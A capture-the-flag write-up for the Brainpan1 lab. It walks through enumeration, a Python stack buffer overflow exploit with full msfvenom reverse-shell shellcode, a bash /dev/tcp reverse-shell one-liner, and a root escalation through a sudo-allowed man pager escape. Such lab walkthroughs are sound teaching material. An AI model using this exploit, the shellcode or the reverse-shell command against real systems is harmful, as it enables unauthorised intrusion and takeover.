Brainpan1
Summary
Brainpan is an easy buffer overflow challange where need to overflow a buffer to redirect the control to our shellcode. The binary in question is a windows binary, however it is running within a Linux machine.
Enumeration
- Open ports:
# Nmap 7.92 scan initiated Wed Jun 29 20:51:33 2022 as: nmap -A -T5 -Pn -oN init-nmap-scan 10.10.179.14
Nmap scan report for 10.10.179.14
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=6/29%Time=62BC9F3E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 29 20:52:15 2022 -- 1 IP address (1 host up) scanned in 42.56 seconds
- Using netcat
nc 10.10.179.14 9999
we get greeted with a prompt asking for input. Since it’s a bufferoverflow I assume this is an input that needs to be overflown. - On port 10000 we see a website with an image about “practicing safe coding”.
- Enumerate the website using gobuster
gobuster dir -u http://10.10.179.14:10000/ -t 10 -w /usr/share/dict/directory-list-2.3-medium.txt -o gobuster-scan
/bin (Status: 301) [Size: 0] [--> /bin/]
At http://10.10.179.14:10000/bin we also see brainpan.exe
. Attempting to run this with wine, I see that it looks like the prompt on the server. Assuming it’s the same binary as the one running on the server.
Finding the buffer size
- I analyze this file in ghidra. Looking at where the input is given, we see that
_strcpy()
is used to copy the input into a buffer. I know that strcpy() doesn’t check for buffer size and will copy even if it doesn’t fit, can overflow. - In the decompile window we can also see that the buffer
_strcpy()
copies to is also decleared with the size of520
. This means that we have our buffer size. We could also have usedmetasploit/tools/exploit/pattern_create.rb
withmetasploit/tools/exploit/pattern_offset.rb
to find the size. - I’m not sure what protections are on this binary, but I’m going to try to overflow the buffer and execute my shellcode on the stack. To do this I want to fill the EIP with the address of an
jmp ESP
. Looking at the debugger I see that there is a 4 byte offset to the EIP register, so I need to do 524 chars for the overflow. There happen to only be only one case ofjmp ESP
instruction and that instruction happend to be within a function called_winkwink
. I think this is a good sign that I’m on the right track.
Building our script
- First I tried to fill the buffer then see what registers gets filled next. The next one that got filled was the EIP register. Since I want to redirect the code flow to our jmp ESP, I copied this address to my script;
import sys, socket
addr = "127.0.0.1"
port = 9999
buffer = b"A"*524
# little endian
buffer += b"\xf3\x12\x17\x31"
buffer += b"\r\n"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((addr, port))
s.send((buffer))
s.close()
except Exception as e:
print(e)
Ghidra told me that this was “little endian” this means that we go from right to left instead of left to right. so 0x311712f3 => \xf3\x12\x17\x31.
Running the script the application now crashes when it hits junk on the stack.
- Next step is to check for bad characters. I went to this website and copied their list of bad characters. I then added all these characters to the buffer. Looking at the stack for my application I could then see if a spesific byte didn’t work or not. I’m also assuming 0x00 is a bad characters as it’s null terminator.
Making our payload
- To create our shellcode I used this command
msfvenom -p windows/shell_reverse_tcp -b "\x00" LHOST=127.0.0.1 LPORT=8080 -f python -a x86
I then added this output to our buffer in our script. I also added some padding to make sure we get all of our shellcode.
import sys, socket
addr = "127.0.0.1"
port = 9999
buffer = b"A"*524
# little endian
buffer += b"\xf3\x12\x17\x31"
# padding
buffer += b"\x90"*10
# local payload
buffer += b"\xba\x71\x66\x49\x9b\xd9\xc9\xd9\x74\x24\xf4\x5d\x2b"
buffer += b"\xc9\xb1\x52\x31\x55\x12\x83\xed\xfc\x03\x24\x68\xab"
buffer += b"\x6e\x3a\x9c\xa9\x91\xc2\x5d\xce\x18\x27\x6c\xce\x7f"
buffer += b"\x2c\xdf\xfe\xf4\x60\xec\x75\x58\x90\x67\xfb\x75\x97"
buffer += b"\xc0\xb6\xa3\x96\xd1\xeb\x90\xb9\x51\xf6\xc4\x19\x6b"
buffer += b"\x39\x19\x58\xac\x24\xd0\x08\x65\x22\x47\xbc\x02\x7e"
buffer += b"\x54\x37\x58\x6e\xdc\xa4\x29\x91\xcd\x7b\x21\xc8\xcd"
buffer += b"\x7a\xe6\x60\x44\x64\xeb\x4d\x1e\x1f\xdf\x3a\xa1\xc9"
buffer += b"\x11\xc2\x0e\x34\x9e\x31\x4e\x71\x19\xaa\x25\x8b\x59"
buffer += b"\x57\x3e\x48\x23\x83\xcb\x4a\x83\x40\x6b\xb6\x35\x84"
buffer += b"\xea\x3d\x39\x61\x78\x19\x5e\x74\xad\x12\x5a\xfd\x50"
buffer += b"\xf4\xea\x45\x77\xd0\xb7\x1e\x16\x41\x12\xf0\x27\x91"
buffer += b"\xfd\xad\x8d\xda\x10\xb9\xbf\x81\x7c\x0e\xf2\x39\x7d"
buffer += b"\x18\x85\x4a\x4f\x87\x3d\xc4\xe3\x40\x98\x13\x03\x7b"
buffer += b"\x5c\x8b\xfa\x84\x9d\x82\x38\xd0\xcd\xbc\xe9\x59\x86"
buffer += b"\x3c\x15\x8c\x09\x6c\xb9\x7f\xea\xdc\x79\xd0\x82\x36"
buffer += b"\x76\x0f\xb2\x39\x5c\x38\x59\xc0\x37\x38\x9e\xca\xc6"
buffer += b"\xae\x9c\xca\xd7\xbe\x28\x2c\x8d\xae\x7c\xe7\x3a\x56"
buffer += b"\x25\x73\xda\x97\xf3\xfe\xdc\x1c\xf0\xff\x93\xd4\x7d"
buffer += b"\x13\x43\x15\xc8\x49\xc2\x2a\xe6\xe5\x88\xb9\x6d\xf5"
buffer += b"\xc7\xa1\x39\xa2\x80\x14\x30\x26\x3d\x0e\xea\x54\xbc"
buffer += b"\xd6\xd5\xdc\x1b\x2b\xdb\xdd\xee\x17\xff\xcd\x36\x97"
buffer += b"\xbb\xb9\xe6\xce\x15\x17\x41\xb9\xd7\xc1\x1b\x16\xbe"
buffer += b"\x85\xda\x54\x01\xd3\xe2\xb0\xf7\x3b\x52\x6d\x4e\x44"
buffer += b"\x5b\xf9\x46\x3d\x81\x99\xa9\x94\x01\xa9\xe3\xb4\x20"
buffer += b"\x22\xaa\x2d\x71\x2f\x4d\x98\xb6\x56\xce\x28\x47\xad"
buffer += b"\xce\x59\x42\xe9\x48\xb2\x3e\x62\x3d\xb4\xed\x83\x14"
buffer += b"\r\n"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((addr, port))
s.send((buffer))
s.close()
except Exception as e:
print(e)
- Now listening on my local machine with the command
nc -lnvp 8080
and running this script, I get a cmd shell on my local machine. - I can now remake the shellcode with my vpn ip and try it on the server. And boom! We now have a user shell! Because the cmd shell was a little buggy and I wanted a bash shell I used
/bin/bash
to run the commandbash -i >& /dev/tcp/10.10.10.10/8081 0>&1
to get a regular bash shell.
Privilege escalation
- Enumerating using linPEAS I found a file that can be ran as sudo with no password.
...
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
...
- Running this file I get prompted with
puck@brainpan:/tmp$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
puck@brainpan:/tmp$
network prints out ifconfig
proclist prints top
but manual runs sudo man [command]
- When we are in the the manual pager utils we can escape it by hitting
!command
. Typing!bash
will then give us a root bash shell.
root@brainpan:/usr/share/man# cd /root
cd /root
root@brainpan:/root#cat b.txt
cat b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
root@brainpan:/root# id
id
uid=0(root) gid=0(root) groups=0(root)